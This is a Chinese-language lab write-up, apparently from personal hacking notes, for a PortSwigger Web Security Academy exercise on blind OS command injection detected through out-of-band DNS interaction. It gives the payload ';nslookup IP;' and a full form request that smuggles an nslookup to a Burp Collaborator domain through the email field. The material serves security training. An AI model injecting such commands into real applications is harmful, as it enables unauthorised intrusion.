> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/command-injection/blind-command-injection-with-oob-exfiltration.md).
# 带 OOB 外传的盲命令注入
带 OOB 外传的盲命令注入笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 带有带外交互的盲目 OS 命令注入
本实验展示了一个向反馈功能注入盲目系统命令的漏洞。/ 该应用程序执行一个由用户提供的数据构造的 shell 命令。此执行是 **异步的** ，并且不会影响应用程序返回的响应。无法将命令输出重定向到可访问的位置。另一方面，可以导致 **带外交互（OOB）** 到外部域名。
本实验的目标是利用该注入强制应用程序向 Burp Collaborator 域发起一个 \*\* DNS\*\* 请求。
#### **方法**
`nslookup` 用于生成一个外发查询。/ 注入是在表单的某个字段中进行的，使用 `;` 来破坏原始语法。
已测试命令示例：
```
nslookup
```
注入的载荷：
;nslookup IP;
如果注入成功，我们会在 Burp Collaborator 上收到该请求。
#### **完整请求示例**
{% code overflow="wrap" %}
```bash
csrf=2GdzmbhNzU7HHOj8pOZUwUfJ1s0EIbjP&name=test&email=test%40test.com.com;nslookup v51x9gtodb5n35252oddaichm8szgq4f.oastify.com;&subject=test&message=test.com
```
{% endcode %}
该载荷会向受控域触发 DNS 请求，从而确认 OOB 盲注入。
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